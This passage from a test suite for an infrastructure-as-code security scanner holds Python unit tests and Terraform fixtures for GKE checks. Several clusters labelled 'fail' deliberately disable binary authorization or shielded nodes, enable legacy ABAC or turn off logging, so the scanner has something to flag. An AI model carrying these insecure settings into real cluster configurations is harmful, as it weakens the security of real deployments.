'google_cloud_run_service_iam_binding.fail5',\n            'google_cloud_run_service_iam_member.fail1',\n            'google_cloud_run_service_iam_member.fail2',\n        }\n\n        passed_check_resources = set([c.resource for c in report.passed_checks])\n        failed_check_resources = set([c.resource for c in report.failed_checks])\n\n        self.assertEqual(summary['passed'], 4)\n        self.assertEqual(summary['failed'], 7)\n        self.assertEqual(summary['skipped'], 0)\n        self.assertEqual(summary['parsing_errors'], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == '__main__':\n    unittest.main()\n"
  },
  {
    "path": "tests/terraform/checks/resource/gcp/test_GKEAliasIpEnabled.py",
    "content": "import unittest\n\nfrom checkov.terraform.checks.resource.gcp.GKEAliasIpEnabled import check\nfrom checkov.common.models.enums import CheckResult\nimport hcl2\n\n\nresource_conf = '''\nresource \"google_container_cluster\" \"fail\" {\n  name                     = \"fail-cluster\"\n}\n\nresource \"google_container_cluster\" \"success\" {\n  name                     = \"success-cluster\"\n  ip_allocation_policy {}\n}\n'''\n\n\nclass TestGKEAliasIpEnabled(unittest.TestCase):\n\n    def test_failure(self):\n        resource = hcl2.loads(resource_conf)[\n            'resource'][0]['google_container_cluster']['fail']\n        scan_result = check.scan_resource_conf(conf=resource)\n        self.assertEqual(CheckResult.FAILED, scan_result)\n\n    def test_success(self):\n        resource = hcl2.loads(resource_conf)[\n            'resource'][1]['google_container_cluster']['success']\n\n        scan_result = check.scan_resource_conf(\n            conf=resource)\n        self.assertEqual(CheckResult.PASSED, scan_result)\n\n\nif __name__ == '__main__':\n    unittest.main()\n"
  },
  {
    "path": "tests/terraform/checks/resource/gcp/test_GKEBinaryAuthorization/main.tf",
    "content": "\nresource \"google_container_cluster\" \"fail1\" {\n  name               = var.name\n  location           = var.location\n  initial_node_count = 1\n  project            = data.google_project.project.name\n\n  network    = var.network\n  subnetwork = var.subnetwork\n\n  ip_allocation_policy {\n    cluster_ipv4_cidr_block       = var.ip_allocation_policy[\"cluster_ipv4_cidr_block\"]\n    cluster_secondary_range_name  = var.ip_allocation_policy[\"cluster_secondary_range_name\"]\n    services_ipv4_cidr_block      = var.ip_allocation_policy[\"services_ipv4_cidr_block\"]\n    services_secondary_range_name = var.ip_allocation_policy[\"services_secondary_range_name\"]\n  }\n\n  remove_default_node_pool    = var.remove_default_node_pool\n  enable_binary_authorization = false\n\n  node_config {\n    workload_metadata_config {\n      node_metadata = \"GKE_METADATA_SERVER\"\n    }\n  }\n\n  release_channel {\n    channel = var.release_channel\n  }\n\n  master_auth {\n\n    client_certificate_config {\n      issue_client_certificate = false\n    }\n  }\n\n  addons_config {\n    http_load_balancing {\n      disabled = var.http_load_balancing_disabled\n    }\n\n    network_policy_config {\n      disabled = var.network_policy_config_disabled\n    }\n  }\n\n  maintenance_policy {\n    daily_maintenance_window {\n      start_time = var.maintenance_window\n    }\n  }\n\n  private_cluster_config {\n    enable_private_nodes    = var.private_cluster_config[\"enable_private_nodes\"]\n    enable_private_endpoint = var.private_cluster_config[\"enable_private_endpoint\"]\n    master_ipv4_cidr_block  = var.private_cluster_config[\"master_ipv4_cidr_block\"]\n  }\n\n  master_authorized_networks_config {\n    cidr_blocks {\n      cidr_block = var.master_authorized_network_cidr\n    }\n  }\n\n  network_policy {\n    enabled = true\n  }\n\n  pod_security_policy_config {\n    enabled = var.pod_security_policy_config_enabled\n  }\n\n  resource_labels = var.resource_labels\n}\n\nresource \"google_container_cluster\" \"fail2\" {\n  name               = var.name\n  location           = var.location\n  initial_node_count = 1\n  project            = data.google_project.project.name\n\n  network    = var.network\n  subnetwork = var.subnetwork\n\n  ip_allocation_policy {\n    cluster_ipv4_cidr_block       = var.ip_allocation_policy[\"cluster_ipv4_cidr_block\"]\n    cluster_secondary_range_name  = var.ip_allocation_policy[\"cluster_secondary_range_name\"]\n    services_ipv4_cidr_block      = var.ip_allocation_policy[\"services_ipv4_cidr_block\"]\n    services_secondary_range_name = var.ip_allocation_policy[\"services_secondary_range_name\"]\n  }\n\n  remove_default_node_pool = var.remove_default_node_pool\n\n  enable_shielded_nodes = false\n\n  node_config {\n    workload_metadata_config {\n      node_metadata = \"GKE_METADATA_SERVER\"\n    }\n  }\n\n  release_channel {\n    channel = var.release_channel\n  }\n\n  master_auth {\n\n    client_certificate_config {\n      issue_client_certificate = false\n    }\n  }\n\n  addons_config {\n    http_load_balancing {\n      disabled = var.http_load_balancing_disabled\n    }\n\n    network_policy_config {\n      disabled = var.network_policy_config_disabled\n    }\n  }\n\n  maintenance_policy {\n    daily_maintenance_window {\n      start_time = var.maintenance_window\n    }\n  }\n\n  private_cluster_config {\n    enable_private_nodes    = var.private_cluster_config[\"enable_private_nodes\"]\n    enable_private_endpoint = var.private_cluster_config[\"enable_private_endpoint\"]\n    master_ipv4_cidr_block  = var.private_cluster_config[\"master_ipv4_cidr_block\"]\n  }\n\n  master_authorized_networks_config {\n    cidr_blocks {\n      cidr_block = var.master_authorized_network_cidr\n    }\n  }\n\n  network_policy {\n    enabled = true\n  }\n\n  pod_security_policy_config {\n    enabled = var.pod_security_policy_config_enabled\n  }\n\n  resource_labels = var.resource_labels\n}\n\nresource \"google_container_cluster\" \"fail3\" {\n  name               = var.name\n  location           = var.location\n  initial_node_count = 1\n  project            = data.google_project.project.name\n\n  network    = var.network\n  subnetwork = var.subnetwork\n\n  ip_allocation_policy {\n    cluster_ipv4_cidr_block       = var.ip_allocation_policy[\"cluster_ipv4_cidr_block\"]\n    cluster_secondary_range_name  = var.ip_allocation_policy[\"cluster_secondary_range_name\"]\n    services_ipv4_cidr_block      = var.ip_allocation_policy[\"services_ipv4_cidr_block\"]\n    services_secondary_range_name = var.ip_allocation_policy[\"services_secondary_range_name\"]\n  }\n\n  remove_default_node_pool = var.remove_default_node_pool\n\n  enable_shielded_nodes = false\n\n  binary_authorization {\n    evaluation_mode = false\n  }\n\n  node_config {\n    workload_metadata_config {\n      node_metadata = \"GKE_METADATA_SERVER\"\n    }\n  }\n\n  release_channel {\n    channel = var.release_channel\n  }\n\n  master_auth {\n\n    client_certificate_config {\n      issue_client_certificate = false\n    }\n  }\n\n  addons_config {\n    http_load_balancing {\n      disabled = var.http_load_balancing_disabled\n    }\n\n    network_policy_config {\n      disabled = var.network_policy_config_disabled\n    }\n  }\n\n  maintenance_policy {\n    daily_maintenance_window {\n      start_time = var.maintenance_window\n    }\n  }\n\n  private_cluster_config {\n    enable_private_nodes    = var.private_cluster_config[\"enable_private_nodes\"]\n    enable_private_endpoint = var.private_cluster_config[\"enable_private_endpoint\"]\n    master_ipv4_cidr_block  = var.private_cluster_config[\"master_ipv4_cidr_block\"]\n  }\n\n  master_authorized_networks_config {\n    cidr_blocks {\n      cidr_block = var.master_authorized_network_cidr\n    }\n  }\n\n  network_policy {\n    enabled = true\n  }\n\n  pod_security_policy_config {\n    enabled = var.pod_security_policy_config_enabled\n  }\n\n  resource_labels = var.resource_labels\n}\n\nresource \"google_container_cluster\" \"fail4\" {\n  name               = var.name\n  location           = var.location\n  initial_node_count = 1\n  project            = data.google_project.project.name\n\n  network    = var.network\n  subnetwork = var.subnetwork\n\n  ip_allocation_policy {\n    cluster_ipv4_cidr_block       = var.ip_allocation_policy[\"cluster_ipv4_cidr_block\"]\n    cluster_secondary_range_name  = var.ip_allocation_policy[\"cluster_secondary_range_name\"]\n    services_ipv4_cidr_block      = var.ip_allocation_policy[\"services_ipv4_cidr_block\"]\n    services_secondary_range_name = var.ip_allocation_policy[\"services_secondary_range_name\"]\n  }\n\n  remove_default_node_pool = var.remove_default_node_pool\n\n  enable_shielded_nodes = false\n\n  binary_authorization {\n    evaluation_mode = \"DISABLED\"\n  }\n\n  node_config {\n    workload_metadata_config {\n      node_metadata = \"GKE_METADATA_SERVER\"\n    }\n  }\n\n  release_channel {\n    channel = var.release_channel\n  }\n\n  master_auth {\n\n    client_certificate_config {\n      issue_client_certificate = false\n    }\n  }\n\n  addons_config {\n    http_load_balancing {\n      disabled = var.http_load_balancing_disabled\n    }\n\n    network_policy_config {\n      disabled = var.network_policy_config_disabled\n    }\n  }\n\n  maintenance_policy {\n    daily_maintenance_window {\n      start_time = var.maintenance_window\n    }\n  }\n\n  private_cluster_config {\n    enable_private_nodes    = var.private_cluster_config[\"enable_private_nodes\"]\n    enable_private_endpoint = var.private_cluster_config[\"enable_private_endpoint\"]\n    master_ipv4_cidr_block  = var.private_cluster_config[\"master_ipv4_cidr_block\"]\n  }\n\n  master_authorized_networks_config {\n    cidr_blocks {\n      cidr_block = var.master_authorized_network_cidr\n    }\n  }\n\n  network_policy {\n    enabled = true\n  }\n\n  pod_security_policy_config {\n    enabled = var.pod_security_policy_config_enabled\n  }\n\n  resource_labels = var.resource_labels\n}\n\nresource \"google_container_cluster\" \"success\" {\n  name                        = var.name\n  location                    = var.location\n  initial_node_count          = 1\n  project                     = data.google_project.project.name\n  enable_binary_authorization = true\n  network                     = var.network\n  subnetwork                  = var.subnetwork\n\n  ip_allocation_policy {\n    cluster_ipv4_cidr_block       = var.ip_allocation_policy[\"cluster_ipv4_cidr_block\"]\n    cluster_secondary_range_name  = var.ip_allocation_policy[\"cluster_secondary_range_name\"]\n    services_ipv4_cidr_block      = var.ip_allocation_policy[\"services_ipv4_cidr_block\"]\n    services_secondary_range_name = var.ip_allocation_policy[\"services_secondary_range_name\"]\n  }\n\n  remove_default_node_pool = var.remove_default_node_pool\n\n  enable_shielded_nodes = true\n\n  node_config {\n    workload_metadata_config {\n      node_metadata = \"GKE_METADATA_SERVER\"\n    }\n  }\n\n  release_channel {\n    channel = var.release_channel\n  }\n\n  master_auth {\n\n    client_certificate_config {\n      issue_client_certificate = false\n    }\n  }\n\n  addons_config {\n    http_load_balancing {\n      disabled = var.http_load_balancing_disabled\n    }\n\n    network_policy_config {\n      disabled = var.network_policy_config_disabled\n    }\n  }\n\n  maintenance_policy {\n    daily_maintenance_window {\n      start_time = var.maintenance_window\n    }\n  }\n\n  private_cluster_config {\n    enable_private_nodes    = var.private_cluster_config[\"enable_private_nodes\"]\n    enable_private_endpoint = var.private_cluster_config[\"enable_private_endpoint\"]\n    master_ipv4_cidr_block  = var.private_cluster_config[\"master_ipv4_cidr_block\"]\n  }\n\n  master_authorized_networks_config {\n    cidr_blocks {\n      cidr_block = var.master_authorized_network_cidr\n    }\n  }\n\n  network_policy {\n    enabled = true\n  }\n\n  pod_security_policy_config {\n    enabled = var.pod_security_policy_config_enabled\n  }\n\n  resource_labels = var.resource_labels\n}\n\nresource \"google_container_cluster\" \"success2\" {\n  name                        = var.name\n  location                    = var.location\n  initial_node_count          = 1\n  project                     = data.google_project.project.name\n  network                     = var.network\n  subnetwork                  = var.subnetwork\n\n  ip_allocation_policy {\n    cluster_ipv4_cidr_block       = var.ip_allocation_policy[\"cluster_ipv4_cidr_block\"]\n    cluster_secondary_range_name  = var.ip_allocation_policy[\"cluster_secondary_range_name\"]\n    services_ipv4_cidr_block      = var.ip_allocation_policy[\"services_ipv4_cidr_block\"]\n    services_secondary_range_name = var.ip_allocation_policy[\"services_secondary_range_name\"]\n  }\n\n  remove_default_node_pool = var.remove_default_node_pool\n\n  enable_shielded_nodes = true\n\n  node_config {\n    workload_metadata_config {\n      node_metadata = \"GKE_METADATA_SERVER\"\n    }\n  }\n\n  binary_authorization {\n    evaluation_mode = \"PROJECT_SINGLETON_POLICY_ENFORCE\"\n  }\n\n  release_channel {\n    channel = var.release_channel\n  }\n\n  master_auth {\n\n    client_certificate_config {\n      issue_client_certificate = false\n    }\n  }\n\n  addons_config {\n    http_load_balancing {\n      disabled = var.http_load_balancing_disabled\n    }\n\n    network_policy_config {\n      disabled = var.network_policy_config_disabled\n    }\n  }\n\n  maintenance_policy {\n    daily_maintenance_window {\n      start_time = var.maintenance_window\n    }\n  }\n\n  private_cluster_config {\n    enable_private_nodes    = var.private_cluster_config[\"enable_private_nodes\"]\n    enable_private_endpoint = var.private_cluster_config[\"enable_private_endpoint\"]\n    master_ipv4_cidr_block  = var.private_cluster_config[\"master_ipv4_cidr_block\"]\n  }\n\n  master_authorized_networks_config {\n    cidr_blocks {\n      cidr_block = var.master_authorized_network_cidr\n    }\n  }\n\n  network_policy {\n    enabled = true\n  }\n\n  pod_security_policy_config {\n    enabled = var.pod_security_policy_config_enabled\n  }\n\n  resource_labels = var.resource_labels\n}\n"
  },
  {
    "path": "tests/terraform/checks/resource/gcp/test_GKEBinaryAuthorization.py",
    "content": "import unittest\nimport os\n\nfrom checkov.terraform.checks.resource.gcp.GKEBinaryAuthorization import check\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.terraform.runner import Runner\n\n\nclass TestGKEBinaryAuthorization(unittest.TestCase):\n\n    def test(self):\n        runner = Runner()\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n\n        test_files_dir = current_dir + \"/test_GKEBinaryAuthorization\"\n        report = runner.run(root_folder=test_files_dir, runner_filter=RunnerFilter(checks=[check.id]))\n        summary = report.get_summary()\n\n        passing_resources = {\n            'google_container_cluster.success',\n            'google_container_cluster.success2'\n        }\n        failing_resources = {\n            'google_container_cluster.fail1',\n            'google_container_cluster.fail2',\n            'google_container_cluster.fail3',\n            'google_container_cluster.fail4',\n        }\n\n        passed_check_resources = set([c.resource for c in report.passed_checks])\n        failed_check_resources = set([c.resource for c in report.failed_checks])\n\n        self.assertEqual(summary['passed'], 2)\n        self.assertEqual(summary['failed'], 4)\n        self.assertEqual(summary['skipped'], 0)\n        self.assertEqual(summary['parsing_errors'], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == '__main__':\n    unittest.main()"
  },
  {
    "path": "tests/terraform/checks/resource/gcp/test_GKEClientCertificateDisabled.py",
    "content": "import unittest\n\nfrom checkov.terraform.checks.resource.gcp.GKEClientCertificateDisabled import check\nfrom checkov.common.models.enums import CheckResult\n\n\nclass GKEClientCertificateDisabled(unittest.TestCase):\n\n    def test_success(self):\n        resource_conf = {'name': ['google_cluster'], 'master_auth': [{'client_certificate_config': [{'issue_client_certificate': [False]}]}]}\n\n        scan_result = check.scan_resource_conf(conf=resource_conf)\n        self.assertEqual(CheckResult.PASSED, scan_result)\n\n    def test_failure(self):\n        resource_conf = {'name': ['google_cluster'], 'master_auth': [{'client_certificate_config': [{'issue_client_certificate': [True]}]}]}\n        scan_result = check.scan_resource_conf(conf=resource_conf)\n        self.assertEqual(CheckResult.FAILED, scan_result)\n\n\nif __name__ == '__main__':\n    unittest.main()\n"
  },
  {
    "path": "tests/terraform/checks/resource/gcp/test_GKEClusterLogging.py",
    "content": "import unittest\n\nfrom checkov.terraform.checks.resource.gcp.GKEClusterLogging import check\nfrom checkov.common.models.enums import CheckResult\n\n\nclass TestGKEClusterLogging(unittest.TestCase):\n    def test_failure(self):\n        resource_conf = {\n            \"name\": [\"my-gke-cluster\"],\n            \"location\": [\"us-central1\"],\n            \"remove_default_node_pool\": [True],\n            \"initial_node_count\": [1],\n            \"logging_service\": [\"none\"],\n            \"master_auth\": [\n                {\n                    \"username\": [\"\"],\n                    \"password\": [\"\"],\n                    \"client_certificate_config\": [{\"issue_client_certificate\": [False]}],\n                }\n            ],\n        }\n\n        scan_result = check.scan_resource_conf(conf=resource_conf)\n        self.assertEqual(CheckResult.FAILED, scan_result)\n\n    def test_success(self):\n        resource_conf = {\n            \"name\": [\"my-gke-cluster\"],\n            \"location\": [\"us-central1\"],\n            \"remove_default_node_pool\": [True],\n            \"initial_node_count\": [1],\n            \"master_auth\": [\n                {\n                    \"username\": [\"\"],\n                    \"password\": [\"\"],\n                    \"client_certificate_config\": [{\"issue_client_certificate\": [False]}],\n                }\n            ],\n        }\n        scan_result = check.scan_resource_conf(conf=resource_conf)\n        self.assertEqual(CheckResult.PASSED, scan_result)\n\n\nif __name__ == \"__main__\":\n    unittest.main()\n"
  },
  {
    "path": "tests/terraform/checks/resource/gcp/test_GKEDisableLegacyAuth.py",
    "content": "import unittest\n\nfrom checkov.terraform.checks.resource.gcp.GKEDisableLegacyAuth import check\nfrom checkov.common.models.enums import CheckResult\n\n\nclass GKEDisableLegacyAuth(unittest.TestCase):\n\n    def test_failure(self):\n        resource_conf = {'name': ['google_cluster'], 'enable_legacy_abac': [True]}\n\n        scan_result = check.scan_resource_conf(conf=resource_conf)\n        self.assertEqual(CheckResult.FAILED, scan_result)\n\n    def test_success(self):\n        resource_conf = {'name': ['google_cluster']}\n        scan_result = check.scan_resource_conf(conf=resource_conf)\n        self.assertEqual(CheckResult.PASSED, scan_result)\n\n\nif __name__ == '__main__':\n    unittest.main()\n"
  },
  {
    "path": "tests/terraform/checks/resource/gcp/test_GKEDontUseNodePools.py",
    "content": "import unittest\nimport os\n\nfrom checkov.terraform.checks.resource.gcp.GKEDontUseNodePools import check\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.terraform.runner import Runner\n\n\nclass TestGKEDontUseNodePools(unittest.TestCase):\n\n    def test(self):\n        runner = Runner()\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n\n        test_files_dir = current_dir + \"/example_GKEDontUseNodePools\"\n        report = runner.run(root_folder=test_files_dir, runner_filter=RunnerFilter(checks=[check.id]))\n        summary = report.get_summary()\n\n        passing_resources = {\n            'google_container_cluster.pass',\n        }\n        failing_resources = {\n            'google_container_cluster.fail',\n        }\n\n        passed_check_resources = set([c.resource for c in report.passed_checks])\n        failed_check_resources = set([c.resource for c in report.failed_checks])\n\n        self.assertEqual(summary['passed'], len(passing_resources))\n        self.assertEqual(summary['failed'], len(failing_resources))\n        self.assertEqual(summary['skipped'], 0)\n        self.assertEqual(summary['parsing_errors'], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == '__main__':\n    unittest.main()"
  },
  {
    "path": "tests/terraform/checks/resource/gcp/test_GKEEnableShieldedNodes/main.tf",
    "content": "resource \"google_container_cluster\" \"success1\" {\n  name               = var.name\n  location           = var.location\n  initial_node_count = 1\n  project            = data.google_project.project.name\n\n  network    = var.network\n  subnetwork = var.subnetwork\n\n  ip_allocation_policy {\n    cluster_ipv4_cidr_block       = var.ip_allocation_policy[\"cluster_ipv4_cidr_block\"]\n    cluster_secondary_range_name  = var.ip_allocation_policy[\"cluster_secondary_range_name\"]\n    services_ipv4_cidr_block      = var.ip_allocation_policy[\"services_ipv4_cidr_block\"]\n    services_secondary_range_name = var.ip_allocation_policy[\"services_secondary_range_name\"]\n  }\n\n  remove_default_node_pool = var.remove_default_node_pool\n\n  node_config {\n    workload_metadata_config {\n      node_metadata = \"GKE_METADATA_SERVER\"\n    }\n  }\n\n  release_channel {\n    channel = var.release_channel\n  }\n\n  master_auth {\n\n    client_certificate_config {\n      issue_client_certificate = false\n    }\n  }\n\n  addons_config {\n    http_load_balancing {\n      disabled = var.http_load_balancing_disabled\n    }\n\n    network_policy_config {\n      disabled = var.network_policy_config_disabled\n    }\n  }\n\n  maintenance_policy {\n    daily_maintenance_window {\n      start_time = var.maintenance_window\n    }\n  }\n\n  private_cluster_config {\n    enable_private_nodes    = var.private_cluster_config[\"enable_private_nodes\"]\n    enable_private_endpoint = var.private_cluster_config[\"enable_private_endpoint\"]\n    master_ipv4_cidr_block  = var.private_cluster_config[\"master_ipv4_cidr_block\"]\n  }\n\n  master_authorized_networks_config {\n    cidr_blocks {\n      cidr_block = var.master_authorized_network_cidr\n    }\n  }\n\n  network_policy {\n    enabled = true\n  }\n\n  pod_security_policy_config {\n    enabled = var.pod_security_policy_config_enabled\n  }\n\n  resource_labels = var.resource_labels\n}\n\nresource \"google_container_cluster\" \"fail\" {\n  name               = var.name\n  location           = var.location\n  initial_node_count = 1\n  project            = data.google_project.project.name\n\n  network    = var.network\n  subnetwork = var.subnetwork\n\n  ip_allocation_policy {\n    cluster_ipv4_cidr_block       = var.ip_allocation_policy[\"cluster_ipv4_cidr_block\"]\n    cluster_secondary_range_name  = var.ip_allocation_policy[\"cluster_secondary_range_name\"]\n    services_ipv4_cidr_block      = var.ip_allocation_policy[\"services_ipv4_cidr_block\"]\n    services_secondary_range_name = var.ip_allocation_policy[\"services_secondary_range_name\"]\n  }\n\n  remove_default_node_pool = var.remove_default_node_pool\n\n  enable_shielded_nodes = false\n\n  node_config {\n    workload_metadata_config {\n      node_metadata = \"GKE_METADATA_SERVER\"\n    }\n  }\n\n  release_channel {\n    channel = var.release_channel\n  }\n\n  master_auth {\n\n    client_certificate_config {\n      issue_client_certificate = false\n    }\n  }\n\n  addons_config {\n    http_load_balancing {\n      disabled = var.http_load_balancing_disabled\n    }\n\n    network_policy_config {\n      disabled = var.network_policy_config_disabled\n    }\n  }\n\n  maintenance_policy {\n    daily_maintenance_window {\n      start_time = var.maintenance_window\n    }\n  }\n\n  private_cluster_config {\n    enable_private_nodes    = var.private_cluster_config[\"enable_private_nodes\"]\n    enable_private_endpoint = var.private_cluster_config[\"enable_private_endpoint\"]\n    master_ipv4_cidr_block  = var.private_cluster_config[\"master_ipv4_cidr_block\"]\n  }\n\n  master_authorized_networks_config {\n    cidr_blocks {\n      cidr_block = var.master_authorized_network_cidr\n    }\n  }\n\n  network_policy {\n    enabled = true\n  }\n\n  pod_security_policy_config {\n    enabled = var.pod_security_policy_config_enabled\n  }\n\n  resource_labels = var.resource_labels\n}\n\nresource \"google_container_cluster\" \"success2\" {\n  name               = var.name\n  location           = var.location\n  initial_node_count = 1\n  project            = data.google_project.project.name\n\n  network    = var.network\n  subnetwork = var.subnetwork\n\n  ip_allocation_policy {\n    cluster_ipv4_cidr_block       = var.ip_allocation_policy[\"cluster_ipv4_cidr_block\"]\n    cluster_secondary_range_name  = var.ip_allocation_policy[\"cluster_secondary_range_name\"]\n    services_ipv4_cidr_block      = var.ip_allocation_policy[\"services_ipv4_cidr_block\"]\n    services_secondary_range_name = var.ip_allocation_policy[\"services_secondary_range_name\"]\n  }\n\n  remove_default_node_pool = var.remove_default_node_pool\n\n  enable_shielded_nodes = true\n\n  node_config {\n    workload_metadata_config {\n      node_metadata = \"GKE_METADATA_SERVER\"\n    }\n  }\n\n  release_channel {\n    channel = var.release_channel\n  }\n\n  master_auth {\n\n    client_certificate_config {\n      issue_client_certificate = false\n    }\n  }\n\n  addons_config {\n    http_load_balancing {\n      disabled = var.http_load_balancing_disabled\n    }\n\n    network_policy_config {\n      disabled = var.network_policy_config_disabled\n    }\n  }\n\n  maintenance_policy {\n    daily_maintenance_window {\n      start_time = var.maintenance_window\n    }\n  }\n\n  private_cluster_config {\n    enable_private_nodes    = var.private_cluster_config[\"enable_private_nodes\"]\n    enable_private_endpoint = var.private_cluster_config[\"enable_private_endpoint\"]\n    master_ipv4_cidr_block  = var.private_cluster_config[\"master_ipv4_cidr_block\"]\n  }\n\n  master_authorized_networks_config {\n    cidr_blocks {\n      cidr_block = var.master_authorized_network_cidr\n    }\n  }\n\n  network_policy {\n    enabled = true\n  }\n\n  pod_security_policy_config {\n    enabled = var.pod_security_policy_config_enabled\n  }\n\n  resource_labels = var.resource_labels\n}"
  },
  {
    "path": "tests/terraform/checks/resource/gcp/test_GKEEnableShieldedNodes.py",
    "content": "import unittest\nimport os\n\nfrom checkov.terraform.checks.resource.gcp.GKEEnableShieldedNodes import check\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.terraform.runner import Runner\n\n\nclass TestGKEEnableShieldedNodes(unittest.TestCase):\n\n    def test(self):\n        runner = Runner()\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n\n        test_files_dir = current_dir + \"/test_GKEEnableShieldedNodes\"\n        report = runner.run(root_folder=test_files_dir, runner_filter=RunnerFilter(checks=[check.id]))\n        summary = report.get_summary()\n\n        passing_resources = {\n            'google_container_cluster.success1',\n            'google_container_cluster.success2'\n        }\n        failing_resources = {\n            'google_container_cluster.fail'\n        }\n\n        passed_check_resources = set([c.resource for c in report.passed_checks])\n        failed_check_resources = set([c.resource for c in report.failed_checks])\n\n        self.assertEqual(summary['passed'], 2)\n        self.assertEqual(summary['failed'], 1)\n        self.assertEqual(summary['skipped'], 0)\n        self.assertEqual(summary['parsing_errors'], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == '__main__':\n    unittest.main()"
  },
  {
    "path": "tests/terraform/checks/resource/gcp/test_GKEEnableVPCFlowLogs/main.tf",
    "content": "\nresource \"google_container_cluster\" \"success\" {\n  name               = var.name\n  location           = var.location\n  initial_node_count = 1\n  project            = data.google_project.project.name\n\n  network                     = var.network\n  subnetwork                  = var.subnetwork\n  enable_intranode_visibility = true\n\n  ip_allocation_policy {\n    cluster_ipv4_cidr_block       = var.ip_allocation_policy[\"cluster_ipv4_cidr_block\"]\n    cluster_secondary_range_name  = var.ip_allocation_policy[\"cluster_secondary_range_name\"]\n    services_ipv4_cidr_block      = var.ip_allocation_policy[\"services_ipv4_cidr_block\"]\n    services_secondary_range_name = var.ip_allocation_policy[\"services_secondary_range_name\"]\n  }\n\n  remove_default_node_pool = var.remove_default_node_pool\n\n  min_master_version = \"1.12\"\n\n  node_config {\n    workload_metadata_config {\n      node_metadata = \"GKE_METADATA_SERVER\"\n    }\n    shielded_instance_config {\n      enable_integrity_monitoring = true\n      enable_secure_boot          = true\n    }\n  }\n\n  release_channel {\n    channel = var.release_channel\n  }\n\n  master_auth {\n\n    client_certificate_config {\n      issue_client_certificate = false\n    }\n  }\n\n  addons_config {\n    http_load_balancing {\n      disabled = var.http_load_balancing_disabled\n    }\n\n    network_policy_config {\n      disabled = var.network_policy_config_disabled\n    }\n  }\n\n  maintenance_policy {\n    daily_maintenance_window {\n      start_time = var.maintenance_window\n    }\n  }\n\n  private_cluster_config {\n    enable_private_nodes    = var.private_cluster_config[\"enable_private_nodes\"]\n    enable_private_endpoint = var.private_cluster_config[\"enable_private_endpoint\"]\n    master_ipv4_cidr_block  = var.private_cluster_config[\"master_ipv4_cidr_block\"]\n  }\n\n  master_authorized_networks_config {\n    cidr_blocks {\n      cidr_block = var.master_authorized_network_cidr\n    }\n  }\n\n  network_policy {\n    enabled = true\n  }\n\n  pod_security_policy_config {\n    enabled = var.pod_security_policy_config_enabled\n  }\n\n  resource_labels = var.resource_labels\n}\n\n\n\nresource \"google_container_cluster\" \"fail\" {\n  name               = var.name\n  location           = var.location\n  initial_node_count = 1\n  project            = data.google_project.project.name\n\n  network    = var.network\n  subnetwork = var.subnetwork\n\n  ip_allocation_policy {\n    cluster_ipv4_cidr_block       = var.ip_allocation_policy[\"cluster_ipv4_cidr_block\"]\n    cluster_secondary_range_name  = var.ip_allocation_policy[\"cluster_secondary_range_name\"]\n    services_ipv4_cidr_block      = var.ip_allocation_policy[\"services_ipv4_cidr_block\"]\n    services_secondary_range_name = var.ip_allocation_policy[\"services_secondary_range_name\"]\n  }\n\n  remove_default_node_pool = var.remove_default_node_pool\n\n  min_master_version = \"1.12\"\n\n  node_config {\n    workload_metadata_config {\n      node_metadata = \"GKE_METADATA_SERVER\"\n    }\n    shielded_instance_config {\n      enable_integrity_monitoring = true\n      enable_secure_boot          = true\n    }\n  }\n\n  release_channel {\n    channel = var.release_channel\n  }\n\n  master_auth {\n\n    client_certificate_config {\n      issue_client_certificate = false\n    }\n  }\n\n  addons_config {\n    http_load_balancing {\n      disabled = var.http_load_balancing_disabled\n    }\n\n    network_policy_config {\n      disabled = var.network_policy_config_disabled\n    }\n  }\n\n  maintenance_policy {\n    daily_maintenance_window {\n      start_time = var.maintenance_window\n    }\n  }\n\n  private_cluster_config {\n    enable_private_nodes    = var.private_cluster_config[\"enable_private_nodes\"]\n    enable_private_endpoint = var.private_cluster_config[\"enable_private_endpoint\"]\n    master_ipv4_cidr_block  = var.private_cluster_config[\"master_ipv4_cidr_block\"]\n  }\n\n  master_authorized_networks_config {\n    cidr_blocks {\n      cidr_block = var.master_authorized_network_cidr\n    }\n  }\n\n  network_policy {\n    enabled = true\n  }\n\n  pod_security_policy_config {\n    enabled = var.pod_security_policy_config_enabled\n  }\n\n  resource_labels = var.resource_labels\n}\n\n\n"
  },
  {
    "path": "tests/terraform/checks/resource/gcp/test_GKEEnableVPCFlowLogs.py",
    "content": "import unittest\nimport os\n\nfrom checkov.terraform.checks.resource.gcp.GKEEnableVPCFlowLogs import check\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.terraform.runner import Runner\n\n\nclass TestGKEEnableVPCFlowLogs(unittest.TestCase):\n\n    def test(self):\n        runner = Runner()\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n\n        test_files_dir = current_dir + \"/test_GKEEnableVPCFlowLogs\"\n        report = runner.run(root_folder=test_files_dir, runner_filter=RunnerFilter(checks=[check.id]))\n        summary = report.get_summary()\n\n        passing_resources = {\n            'google_container_cluster.success'\n        }\n        failing_resources = {\n            'google_container_cluster.fail'\n        }\n\n        passed_check_resources = set([c.resource for c in report.passed_checks])\n        failed_check_resources = set([c.resource for c in report.failed_checks])\n\n        self.assertEqual(summary['passed'], 1)\n        self.assertEqual(summary['failed'], 1)\n        self.assertEqual(summary['skipped'], 0)\n        self.assertEqual(summary['parsing_errors'], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == '__main__':\n    unittest.main()"
  },
  {
    "path": "tests/terraform/checks/resource/gcp/test_GKEEnsureIntegrityMonitoring/main.tf",
